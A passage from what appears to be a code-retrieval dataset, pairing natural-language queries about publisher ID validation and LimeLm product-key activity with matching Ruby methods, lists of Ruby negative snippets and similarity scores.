"def update_row_resource(resource, params)\n resource.attributes = params\n resource.save\n end",
"def update!(**args)\n @resource = args[:resource] unless args[:resource].nil?\n @status = args[:status] unless args[:status].nil?\n @time_nanos = args[:time_nanos] unless args[:time_nanos].nil?\n end",
"def resource_reload(resource)\n result = request(\n :method => :post,\n :path => \"/\",\n :form => Smash.new(\n \"LogicalResourceId\" => resource.logical_id,\n \"StackName\" => resource.stack.name,\n ),\n ).get(:body,\n \"DescribeStackResourceResponse\", \"DescribeStackResourceResult\",\n \"StackResourceDetail\")\n resource.updated = result[\"LastUpdatedTimestamp\"]\n resource.type = result[\"ResourceType\"]\n resource.state = result[\"ResourceStatus\"].downcase.to_sym\n resource.status = result[\"ResourceStatus\"]\n resource.status_reason = result[\"ResourceStatusReason\"]\n resource.valid_state\n resource\n end",
"def update!(**args)\n @authority_feedback = args[:authority_feedback] if args.key?(:authority_feedback)\n @legal_request = args[:legal_request] if args.key?(:legal_request)\n @public_information = args[:public_information] if args.key?(:public_information)\n end",
"def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @dedicated_resources = args[:dedicated_resources] if args.key?(:dedicated_resources)\n @name = args[:name] if args.key?(:name)\n end",
"def update_params\n resource_params\n end",
"def update!(**args)\n @resource_family = args[:resource_family] if args.key?(:resource_family)\n @resource_group = args[:resource_group] if args.key?(:resource_group)\n @service_display_name = args[:service_display_name] if args.key?(:service_display_name)\n @usage_type = args[:usage_type] if args.key?(:usage_type)\n end",
"def update(data, **opts)\n @response = data\n @resource_state = data['resource_state']\n self\n end",
"def modify(new_attributes)\n requires :name, :type, :ttl, :rrdatas\n\n deletions = resource_record_set_format\n merge_attributes(new_attributes)\n\n service.create_change(self.zone.id, [resource_record_set_format], [deletions])\n self\n end",
"def change(resource_id, data)\n @change_resource_mixin.change(resource_id, data)\n end",
"def update\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n flash[:notice] = 'Resource was successfully updated.'\n format.html { redirect_to(@resource) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n flash[:notice] = 'Resource was successfully updated.'\n format.html { redirect_to(@resource) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @resource_type = args[:resource_type] if args.key?(:resource_type)\n end",
"def update\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @allow_no_resource_group_match = args[:allow_no_resource_group_match] if args.key?(:allow_no_resource_group_match)\n @description = args[:description] if args.key?(:description)\n @fingerprint = args[:fingerprint] if args.key?(:fingerprint)\n @id = args[:id] if args.key?(:id)\n @mode = args[:mode] if args.key?(:mode)\n @resource_groups = args[:resource_groups] if args.key?(:resource_groups)\n end",
"def resource=(record)\n instance_variable_set(\"@#{resource_name}\", record)\n end",
"def update!(**args)\n @resource_group = args[:resource_group] if args.key?(:resource_group)\n @resource_kind = args[:resource_kind] if args.key?(:resource_kind)\n end",
"def update!(**args)\n @full_resource_name = args[:full_resource_name] if args.key?(:full_resource_name)\n end",
"def update!(**args)\n @full_resource_name = args[:full_resource_name] if args.key?(:full_resource_name)\n end",
"def update\n begin\n send(rest_xact_handler) do\n @target.attributes = @request_resource\n @target.save!\n end\n rescue ActiveRecord::UnknownAttributeError => e\n # Ugly heuristic, but didn't find anything better\n field_name = $1 if e.message =~ /unknown attribute: (.*)/\n raise BadRequest.new(e.message,\n :per_field_msgs => { field_name => 'Is not defined' },\n :retry_possible => false)\n rescue ActiveRecord::RecordInvalid => e\n raise UnprocessableEntity.new(e.message,\n :per_field_msgs => target.errors.inject({}) { |h, (k, v)| h[k] = v; h },\n :retry_possible => false)\n rescue ActiveRecord::RecordNotSaved => e\n raise UnprocessableEntity.new(e.message,\n :retry_possible => false)\n end\n\n if is_true?(params[:_suppress_response])\n render :nothing => true\n else\n find_target\n respond_with(@target) do |format|\n yield(format) if block_given?\n end\n end\n end"
] |
[
"0.6307757",
"0.62869555",
"0.6195519",
"0.6167539",
"0.61345136",
"0.6111855",
"0.6056066",
"0.6054448",
"0.6053238",
"0.6045139",
"0.60409343",
"0.59937507",
"0.5987219",
"0.5898723",
"0.5870196",
"0.58583015",
"0.58583015",
"0.58489186",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58280945",
"0.58258474",
"0.582364",
"0.58222544",
"0.5812024",
"0.5808279",
"0.58045924",
"0.5797113",
"0.57955843",
"0.578592",
"0.57775724",
"0.5770256",
"0.57701546",
"0.57697237",
"0.57549",
"0.5751798",
"0.5732367",
"0.5718807",
"0.57114124",
"0.5706424",
"0.57003045",
"0.5691068",
"0.5687235",
"0.568288",
"0.5680215",
"0.5680215",
"0.56589466",
"0.56564826",
"0.5653215",
"0.5641299",
"0.56275386",
"0.56178933",
"0.5616902",
"0.5608036",
"0.56071025",
"0.5606986",
"0.5596566",
"0.5595908",
"0.5584851",
"0.5583229",
"0.55829716",
"0.55794346",
"0.5577132",
"0.55741054",
"0.5568722",
"0.55627996",
"0.55588144",
"0.5556344",
"0.5555321",
"0.5549169",
"0.55457675",
"0.5542633",
"0.5541168",
"0.5541168",
"0.5540836",
"0.55387604",
"0.5538758",
"0.5538758",
"0.5523237",
"0.551582",
"0.5515287",
"0.55145115",
"0.55145115",
"0.5509174"
] |
0.0
|
-1
|
validate that the given publisher alpha id exists used in conjunction with plugin settings page, where client ID is set
|
def checkPublisherID
begin
publisher = Publisher.find_by(alpha_id: params[:publisher_alpha_id], verified: true) # grab publisher from clientID
logger.info "publisher url: #{params['publisher_url']}"
publisher_url = params['publisher_url']
publisher_domain = URI(publisher_url).host
@valid = (publisher.present? and publisher.is_valid_domain(publisher_domain))
logger.info {"Request has valid client id: #{@valid}"}
respond_to do |format|
format.js do
render json: @valid, callback: params[:callback]
end
end
rescue => e
respond_to do |format|
format.js do
render json: false, callback: params[:callback]
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_client_id\n return if service_provider\n errors.add(\n :client_id, t('openid_connect.authorization.errors.bad_client_id'),\n type: :bad_client_id\n )\n end",
"def validates_hosting_provider_id( record, attr, value )\n\t\tunless VideoContentHostingProvider.exists?( value )\n\t\t\trecord.errors.add attr, 'does not exist.'\n\t\telse\n\t\t\tprovider = VideoContentHostingProvider.find( value )\n\t\t\trecord.errors.add attr, 'is not enabled.' unless provider.enable\n\t\t\trecord.errors.add attr, 'is deprecated.' if provider.deprecated\n\t\tend\n\tend",
"def validate_publisher(item)\n error(msg: 'Publisher may not be blank', item: __method__.to_s) if blank?(item)\n end",
"def validate_client\n\n @client = CacheManagement::Client.new([@client_id]).fetch[@client_id]\n\n return validation_error(\n 'cum_lu_3',\n 'invalid_api_params',\n ['invalid_client_id'],\n GlobalConstant::ErrorAction.mandatory_params_missing\n ) if @client.blank? || @client[:status] != GlobalConstant::Client.active_status\n\n @client_id = @client_id.to_i\n\n success\n\n end",
"def valid?\n return false if @public_id.nil?\n true\n end",
"def website_required?\n !using_open_id?\n end",
"def attach_to_publishers user\n #self.publisher_id\n return nil unless self.user\n\n if user.personal_publishing_status == \"I have an exclusive publisher\" || \n user.personal_publishing_status == \"I own and control my own publishing\"\n self.publisher_id = user.personal_publisher_id\n self.save(validate: false)\n attach_to_publishing_agreement\n else\n ap 'something fancy here'\n end \n end",
"def check_developer_orcid!\n return false unless params[:name].blank? && params[:email].blank? && params[:test_domain].blank? && !params[:orcid].blank?\n @orcid = params[:orcid]\n orcid_choose_tenant_or_login!\n true\n end",
"def ensure_syndicated_deal_publisher_ids_are_set\n if @daily_deal.publisher.publishing_group.try(:restrict_syndication_to_publishing_group)\n params[:daily_deal][:syndicated_deal_publisher_ids] ||= [] if params[:daily_deal]\n end\n end",
"def validate_shortcode\n return unless params[:shorten][:shortcode].present?\n return head(:unprocessable_entity,\n content_type: 'application/json') unless Link.shortcode_valid?(params[:shorten][:shortcode])\n return head(:conflict,\n content_type: 'application/json') unless Link.shortcode_uniq?(params[:shorten][:shortcode])\n end",
"def validate_input(values)\n return true unless values['api_key'].strip.empty?\n\n CommonDialogs.showWarning(\"Please provide a #{NAME} API Key.\")\n false\n end",
"def publisher_belongs_to_a_group\n unless publisher.publishing_group.present?\n errors.add_to_base(\"publisher must be associated with a publishing group\")\n end\n end",
"def external?\n !external_id.blank?\n end",
"def fetch_and_validate_client\n sandbox_uuid = \"#{GlobalConstant::Client.sandbox_prefix_uuid}#{@uuid}\"\n @client = Client.where(uuid: sandbox_uuid).first\n\n return error_with_identifier(\"invalid_client_id\", \"am_cc_gpd_favc_1\") if @client.blank? ||\n @client.status != GlobalConstant::Client.active_status\n\n @client_id = @client.id\n success\n end",
"def validate_code\n \n # Don't validate in dev mode\n return true if Rails.env==\"development\"\n \n begin\n \n id = params[:key].to_s.split(\"-\")[0]\n code = params[:key].to_s.split(\"-\")[1]\n \n @version = params[:version].to_i\n \n @api_key = ApiKey.find( id )\n if ( @api_key && @api_key.enabled? && @api_key.code==code )\n return true\n else\n reject and return false\n end\n \n rescue\n reject and return false\n end\n \n end",
"def fetch_and_validate_client\n @uuid = \"#{GlobalConstant::Client.sandbox_prefix_uuid}#{@uuid}\"\n @client = Client.where(uuid: @uuid).first\n\n return error_with_identifier(\"invalid_client_id\", \"am_cc_gpd_favc_1\") if @client.blank? ||\n @client.status != GlobalConstant::Client.active_status\n\n success\n end",
"def validate_client\n\n @client = CacheManagement::Client.new([@client_id]).fetch[@client_id]\n\n return validation_error(\n 'e_sam_4',\n 'invalid_api_params',\n ['invalid_client_id'],\n GlobalConstant::ErrorAction.default\n ) if @client.blank? || @client[:status] != GlobalConstant::Client.active_status\n\n r = fetch_client_eth_address\n return r unless r.success?\n\n success\n\n end",
"def validate_for_transcription!\n if transcript_id\n raise \"This source has already been submitted for transcription.\"\n elsif self.platform\n raise \"Not a valid platform: #{self.platform}\" unless VALID_PLATFORMS.includes?(self.platform)\n raise \"This is an invalid platform source. Please specify a video_id\" unless video_id\n elsif self.url\n # TODO: validate url format\n # raise \"Not a valid url: #{self.url}\" unless # check here\n else\n raise \"This is an invalid source. Please specify a platform or url.\"\n end\n return true\n end",
"def publisher_id\n @@publisher_id\n end",
"def validate\n r = super\n return r unless r.success?\n\n r = fetch_and_validate_client\n return r unless r.success?\n\n return error_with_identifier(\"no_configurator_access\", \"am_cc_gpd_v_1\") if !@client.is_web_host_setup_done?\n\n success\n end",
"def validate_settings\n end",
"def validate_app_from_app_id(app_id)\n Rails.logger.info(\"Enter Validate App from App Id\")\n \n # there should be no request for account in this context (access_origin)\n if params[:controller] == \"accounts\" \n return false\n elsif params[:controller] == \"apps\"\n return params[:id] == app_id\n else\n return params[:app_id] == app_id # this case handles any other controller..\n # app_id must be there for anyother request other than account \n end\n rescue => e \n Rails.logger.error(\"**** ERROR **** #{e.message}\")\n false\n end",
"def have_valid_api_key?\n @have_valid_api_key\n end",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n unless Util::CommonValidator.is_integer?(@client_id)\n return validation_error(\n 'a_s_cm_ggca_1',\n 'invalid_api_params',\n ['invalid_client_id'],\n GlobalConstant::ErrorAction.default\n )\n end\n\n @client_id = @client_id.to_i\n\n # as these values may be big big int, convert to string to avoid sending as e power\n @bt_to_mint_in_wei = @bt_to_mint_in_wei.to_s\n\n success\n\n end",
"def validate_post_owner(params)\n if params[\"id\"]\n return true\n else\n return false\n end\n end",
"def validate_client\n @client ||= if configuration.jwt_use_issuer_as_client_id\n OAuth::Client.find(server.jwt['iss']) if server.jwt['iss'].present?\n elsif sever.parameters[:client_id].present?\n OAuth::Client.find(sever.parameters[:client_id])\n end\n end",
"def verify_client_belongs_to_user\n return if @resource_for_web_app.is_admin?\n not_found(\"client does not belong to user\") if @resource_for_web_app.id.to_s != params[:id]\n end",
"def check_ai_publisherport(options)\n message = \"Information:\\tDetermining if publisher port \"+options['publisherport']+\" is in use\"\n command = \"svcprop -a pkg/server |grep \\\"port count\\\" |grep -v #{options['service']}\"\n in_use = execute_command(options,message,command)\n if in_use.match(/#{options['publisherport']}/)\n if options['verbose'] == true\n handle_output(options,\"Warning:\\tPublisher port #{options['publisherport']} is in use\")\n handle_output(options,\"Information:\\tFinding free publisher port\")\n end\n end\n while in_use.match(/#{options['publisherport']}/)\n options['publisherport'] = options['publisherport'].to_i+1\n options['publisherport'] = options['publisherport'].to_s\n end\n if options['verbose'] == true\n handle_output(options,\"Information: Setting publisher port to #{options['publisherport']}\")\n end\n return options\nend",
"def publisher_id=(pub_id)\n @@publisher_id = pub_id\n end",
"def valid_admin_open_id?(open_id_url)\n MenkiConfig.admin_open_id_urls.map {|u| URI.parse(u)}.include?(URI.parse(open_id_url))\n rescue URI::InvalidURIError\n false\n end",
"def verify_api_key\n return :false if invalid_options?\n value = http_post http_instance, 'verify-key', :key => options[:api_key], :blog => options[:blog]\n self.verified_key = (value == \"valid\") ? true : :false\n end",
"def has_valid_organization_id?\n return @user_key.organizations.active.map{|o| o.external_id.to_s}.include?(@params[:organizationId].to_s)\n end",
"def validate_client_details\n\n return error_with_data(\n 'um_srpl_1',\n 'Client is not active',\n 'Client is not active',\n GlobalConstant::ErrorAction.default,\n {}\n ) if !@client.is_web_host_setup_done?\n\n success\n end",
"def validate_arm_keys!(*keys)\n parse_publish_settings_file(config[:azure_publish_settings_file]) unless config[:azure_publish_settings_file].nil?\n keys.push(:azure_subscription_id)\n\n if azure_cred?\n validate_azure_login\n else\n keys.concat(%i{azure_tenant_id azure_client_id azure_client_secret})\n end\n\n errors = []\n keys.each do |k|\n if config[k].nil?\n errors << \"You did not provide a valid '#{pretty_key(k)}' value. Please set knife[:#{k}] in your config.rb (knife.rb).\"\n end\n end\n if errors.each { |e| ui.error(e) }.any?\n exit 1\n end\n end",
"def plivo_auth_id_required\n # bypass plivo auth creation for admin users \n if self.role == \"admin\"\n return false\n else\n plivo_auth_id.blank?\n end\n end",
"def validate_client_and_admin\n\n r = fetch_and_validate_client\n return r unless r.success?\n\n r = fetch_and_validate_admin\n return r unless r.success?\n\n success\n end",
"def validate_client_and_admin\n r = fetch_and_validate_client\n return r unless r.success?\n\n r = fetch_and_validate_admin\n return r unless r.success?\n\n success\n end",
"def validate_client_and_admin\n r = fetch_and_validate_client\n return r unless r.success?\n\n r = fetch_and_validate_admin\n return r unless r.success?\n\n success\n end",
"def pubmed_available?\n !ENV['NCBI_API_KEY'].nil?\n end",
"def validate\n validate_vendor\n end",
"def authorized_for_partner_site? ( site_needed )\n if authorized_partner_sites.detect{ |site| site.id == site_needed.id } != nil\n true\n else\n false\n end\n end",
"def verify\n tenant_alias = TenantAlias.find_by(id: params[:id])\n if tenant_alias.present? && tenant_alias.website_alias == request.host\n render plain: \"TRUE\"\n else\n render plain: \"FALSE\"\n end\n end",
"def validate_and_sanitize\n r = validate\n return r unless r.success?\n\n r = validate_if_st_default_client\n return r unless r.success?\n\n return error_with_data(\n 'sm_gud_vas_1',\n 'Please enter a valid user id',\n 'Please enter a valid user id',\n GlobalConstant::ErrorAction.default,\n {},\n {}\n ) if @user_id.to_i.blank?\n\n success\n end",
"def publisher_fields\n agent.config_fields.select { |field| field !~ /url/ }\n end",
"def validate\n check_keys qs_plugin, \"QSPlugIn\", %w[author categories description extendedDescription helpPage hidden icon infoFile relatedBundles secret]\n %w[QSActionsTemplate QSDefaultsTemplate QSPresetAdditionsTemplate QSRegistrationTemplate QSRequirementsTemplate].each do |k|\n report_error \"Unknown key: #{k.inspect}\" if @info[k]\n end\n if reg = self['QSRegistration']\n %w[QSPreferencePanesTemplate].each do |k|\n report_error \"Unknown key: QSRegistration/#{k.inspect}\" if @info[k]\n end\n end\n if @info['QSRegistryTables']\n report_error \"Check QSRegistryTables shouldn't be QSRegistration/QSRegistryHeaders instead\"\n end\n end",
"def valid_producer?(producer)\n content.valid_producer?(producer)\n end",
"def enforce_publishing_validation!\n @enforce_publishing_validation = true\n end",
"def publisher_fields\n config_fields.select { |field| field !~ /url/ }\n end",
"def publisher_fields\n config_fields.select { |field| field !~ /url/ }\n end",
"def set_publisher\n @publisher = Publisher.find(params[:id])\n end",
"def article_should_be_published\n\t\terrors.add(:article_id, \"is not publishe yet\") if article && !article.published?\n\tend",
"def publication_exists?(repository_client, publication)\n works = published_works(repository_client, publication)\n if works.count.positive?\n publication.update(pub_url: publication_url(repository_client, id: works.first['id']))\n publication.publish_exists!\n true\n else\n false\n end\n end",
"def can_disable_affiliate_branding?\n !self.invitation.nil? && \n !self.affiliate.nil? && \n (!self.subscription.trial? || !self.invitation_subscription?)\n end",
"def validate_item item\n Simp::Cli::Config::Utils.validate_domain item\n end",
"def parameter_validation?\n $client.version_support.es_version_5_x?\nend",
"def set_publisher\n @publisher = Publisher.find(params[:id])\n end",
"def set_publisher\n @publisher = Publisher.find(params[:id])\n end",
"def show_publication_year? _field_config, doc\n doc['journal_title_ts'].blank? && doc['conf_title_ts'].blank? && doc['publisher_ts'].blank?\n end",
"def publisher_params\n params.require(:publisher).permit(:email, :name, \n :domain, :password, :verified, \n :blog_name, :category_id, :logo,\n :free_demographics, :questions_active)\n end",
"def check_for_primary_option_type\n return if @product.variants.size <= 0\n if @product.option_types.primary.size <= 0\n raise \"No primary option type defined for product sku: #{@product.sku} name: #{@product.name}.\n A primary option type is required for the dropdown variants to be displayed correctly.\"\n end\n end",
"def check_params(longurl)\n if longurl==\"\"\n return false\n else \n short_domain = ShortDomain.where(domain: Domainatrix.parse(longurl).domain + '.' + Domainatrix.parse(longurl).public_suffix).first\n if short_domain == nil\n return false\n else\n return true\n end\n end\n end",
"def valid_api_key?\n !api_key.nil? && api_key =~ API_KEY_REGEX\n end",
"def fetch_and_validate_client(client_id, err_prefix = 'u_eh_c')\n return client_not_found_response(\"#{err_prefix}:l_u_eh_fvc_1\") if client_id.blank?\n client = CacheManagement::Client.new([client_id]).fetch[client_id]\n return client_not_found_response(\"#{err_prefix}:l_u_eh_fvc_2\") if client.blank?\n success_with_data(client)\n end",
"def thumbwebs_subscription_required\n if logged_in? && current_user.is_thumbwebs_subscriber?\n return true\n else\n flash[:error] = \"Thumbwebs Subscription Required.\"\n redirect_to thumbwebs_root_path\n end\nend",
"def set_publisher\n @publisher = Publisher.includes(:circulations).where(:id => params[:id], :admin_id => @current_user.id).first\n end",
"def publisher_params\n\t\t\tparams.require(:publisher).permit(:name, :address, :website, :twitter_username, :cover_page, :user_id)\n\t\tend",
"def getPublisher( publisher_id)\n params = Hash.new\n params['publisher_id'] = publisher_id\n return doCurl(\"get\",\"/publisher\",params)\n end",
"def validate_config!\n valid = false\n begin\n names_to_ids # Force re-evaluation of ids\n valid = (!image_id.nil? && !flavor_id.nil? && !region_id.nil?)\n rescue Excon::Errors::Unauthorized => e\n add_error \"Invalid credentials\"\n end\n valid\n end",
"def set_publisher\n @publisher = Publisher.friendly.find(params[:slug])\n end",
"def set_publisher\n\t\t\t@publisher = Publisher.find(params[:id])\n\t\tend",
"def publisher_domain=(value)\n @publisher_domain = value\n end",
"def validate_client_details\n return error_with_data(\n 'um_gbd_1',\n 'Client is not active',\n 'Client is not active',\n GlobalConstant::ErrorAction.default,\n {}\n ) if !@client.is_web_host_setup_done?\n\n success\n end",
"def valid_for_publish\n\t\tvalid = true\n \tif structural_set.nil?\n \t\terrors << \"Structural Set> Error: No set selected\"\n\t\t\tvalid = false\n \tend\n\t\tvalid\n \tend",
"def fetch_and_validate_client\n @client = Client.get_from_memcache(@client_id)\n\n return error_with_identifier('invalid_client_id','sb_2') if\n @client.blank? || @client.status != GlobalConstant::Client.active_status\n\n success\n end",
"def check_id\n gene_id_format = Regexp.new(/A[Tt]\\d[Gg]\\d\\d\\d\\d\\d/)\n return false if gene_id_format.match(@gene_id).nil?\n end",
"def valid_id(major)\n unless major =~ /^[a-zA-Z0-9]*$/\n puts \"#{major} is not a valid imgur ID or URL\"\n return false\n end\n return true\n end",
"def valid_xonly_pubkey?(pub_key)\n pubkey = pub_key.htb\n return false unless pubkey.bytesize == X_ONLY_PUBKEY_SIZE\n begin\n ECDSA::Format::PointOctetString.decode(pubkey, ECDSA::Group::Secp256k1)\n rescue Exception\n return false\n end\n true\n end",
"def valid?\n core_client.api_valid?\n end",
"def vendor_contact_form?\r\n if type == \"vendor_contact\"\r\n not_found if vendor_id == \"\"\r\n end\r\n end",
"def precheck_domain_id(domain)\n raise DomainNotFoundException.new(\"Domain not specified\") if domain.blank?\n raise DomainNotFoundException.new(\"Domain #{domain} not found\") if ['.','..'].include?(domain)\n end",
"def validate_id_params!\n raise ArgumentError, 'Only one of :identifier, :id is permitted' if params[:identifier] && params[:id]\n raise ArgumentError, ':identifier must be scoped to a :project or :common' if params[:identifier] && !(params[:project] || params[:common])\n end",
"def reedition_should_be_known\n if @reedition_title.present? && !reedition_id\n errors.add(:reedition_title, :invalid)\n end\n end",
"def validate_and_sanitize\n r = validate\n return r unless r.success?\n\n r = validate_client_and_admin\n return r unless r.success?\n\n success\n end",
"def validate_and_sanitize\n r = validate\n return r unless r.success?\n\n r = validate_client_and_admin\n return r unless r.success?\n\n success\n end",
"def known_client?(client_public_key)\n encoded_key = z85_encode(client_public_key)\n if @known_clients.empty?\n store_known_client(encoded_key)\n true\n else\n @known_clients.include?(encoded_key)\n end\n end",
"def require_unpublished\n if params[:id]\n Question.find(params[:id]).quiz.published and raise ArgumentError, \"can't manage a published quiz\"\n end\n end",
"def subscribed?(u)\n @clients.has_key?(u.signature)\n end",
"def verify_iss; end",
"def verify_iss; end",
"def validate_client\n if Doorkeeper.config.skip_client_authentication_for_password_grant\n client.present? || (!parameters[:client_id] && credentials.blank?)\n else\n client.present?\n end\n end",
"def verify_project_id(test_data)\n verify_values_match(test_data[UseOfCollections::PROJECT_ID.name], element_value(project_id_input))\n end",
"def valid_identifiers?(value)\n ids = PublicationIdentifier.objects(value)\n ids.present? && ids.all? { |id| id&.valid? }\n end",
"def get_ai_publisherurl(options)\n options['publisherurl'] = \"http://\"+options['publisherhost']+\":\"+options['publisherport']\n return options\nend",
"def set_pub\n @pub = Pub.find(params[:id])\n authorize @pub\n end",
"def set_publishers_test\n @publishers_test = Test.find_by(id: params[:id])\n @publishers_test.author == @publisher or raise ActiveRecord::RecordNotFound\n end",
"def valid_client?(request)\n (request.env[\"HTTP_X_FORWARDED_FOR\"] == \"127.0.0.1\") ||\n (request.env[\"HTTP_X_CLIENT_IDENTIFIER\"] == \"<< Client Identifier Here >>\") &&\n (request.env[\"HTTP_X_CLIENT_SECRET_KEY\"] == \"<< Secret Token Here >>\")\n end",
"def google_check_exist(client)\n path = CGI::unescape(@fields[:path])\n client.check_exist_by_path(path)\n end",
"def client_applications_from_verified_publisher_only=(value)\n @client_applications_from_verified_publisher_only = value\n end",
"def check_editor_for_this_customization\n if params[:id].blank?\n flash[:error] = 'A customization id is missing'\n redirect_to resource_contexts_path and return \n end\n cust = ResourceContext.find_by_id(params[:id])\n level = cust.resource_level unless cust.nil?\n if cust.nil? || !level['Container'] #this isn't a container customization\n flash[:error] = \"You've selected an incorrect customization\"\n redirect_to resource_contexts_path and return\n end\n # the user doesn't have permissions on this institution and isn't a DMP admin\n if !current_user.institution.subtree_ids.include?(cust.institution_id) && !user_role_in?(:dmp_admin)\n flash[:error] = \"You do not have permission to view this page.\"\n redirect_to dashboard_path and return\n end\n end",
"def validate_api_key\n unless self.api_key #&& (api_key[\"-\"] || self.api_endpoint)\n raise KeyyoError, \"You must set an api_key prior to making a call\"\n end\n end"
] |
[
"0.61100537",
"0.5675433",
"0.5486031",
"0.545148",
"0.5445086",
"0.5383651",
"0.5382042",
"0.53204054",
"0.5279149",
"0.5242503",
"0.5235117",
"0.52338165",
"0.5226792",
"0.5206909",
"0.51909196",
"0.51903045",
"0.51898336",
"0.51821",
"0.518202",
"0.5179139",
"0.51777375",
"0.51730555",
"0.51549053",
"0.5154087",
"0.5130965",
"0.51230764",
"0.51008075",
"0.509997",
"0.5095627",
"0.5082981",
"0.50737816",
"0.5060361",
"0.50573057",
"0.5050397",
"0.5045349",
"0.50441265",
"0.5042143",
"0.5042143",
"0.50307584",
"0.50237596",
"0.50144064",
"0.50094527",
"0.4999296",
"0.4987717",
"0.4985853",
"0.4957009",
"0.49551645",
"0.49519798",
"0.49519798",
"0.4940262",
"0.49388078",
"0.49372536",
"0.49371973",
"0.4925183",
"0.4919997",
"0.49163863",
"0.49163863",
"0.49013904",
"0.49009386",
"0.48893785",
"0.48879823",
"0.48878503",
"0.48806864",
"0.48770544",
"0.48755836",
"0.48755577",
"0.48709625",
"0.48679242",
"0.48580772",
"0.48500103",
"0.48488796",
"0.4836373",
"0.4833766",
"0.4833633",
"0.4832404",
"0.4829243",
"0.48282552",
"0.48260784",
"0.48220545",
"0.48217568",
"0.48115417",
"0.48111394",
"0.48080602",
"0.48080602",
"0.48075935",
"0.48016354",
"0.47995135",
"0.47941953",
"0.47941953",
"0.47881898",
"0.47844842",
"0.4781894",
"0.4764579",
"0.4763183",
"0.47600332",
"0.47440946",
"0.47330558",
"0.47299477",
"0.47288054",
"0.47225702"
] |
0.6940588
|
0
|
Returns by default activity of created product keys only to speed up the query Pass optional activity as parameters. Asking for activity of all the products takes a long process time
|
def activity(params={})
version_id = params.delete(:version_id) { LimeLm.config[:version_id] }
start = params.delete(:start) { (Date.today - 7).strftime('%Y-%m-%d') }
response = LimeLm::Connection.post_json({ method: 'limelm.pkey.activity', version_id: version_id, start: start, created: true}.merge!(params))
response['pkeys']['pkey']
rescue LimeLm::ApiError => e
e.message.include?('109') ? [] : raise(e)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def make_all_activities\n\n a2 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EAWORK1\", archived: false, in_drive: false, user_id: 5)\n at2 = ActivityTimetable.where(activity_id: a2.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a2.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a2.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a2.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a2.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a2.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a3 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 4)\n at3 = ActivityTimetable.where(activity_id: a3.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a3.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a3.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a3.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a3.id).first_or_create!(cost_per_student: 